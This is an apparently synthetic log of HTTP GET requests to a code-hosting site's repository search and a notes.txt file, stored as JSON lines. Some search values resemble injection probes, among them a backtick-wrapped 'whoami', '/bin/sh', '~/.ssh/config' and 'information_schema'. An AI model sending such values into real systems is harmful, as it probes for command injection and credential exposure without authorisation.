{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=package.json&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.gitignore&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=docker-compose.yml&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=python3&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ssh%20key&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
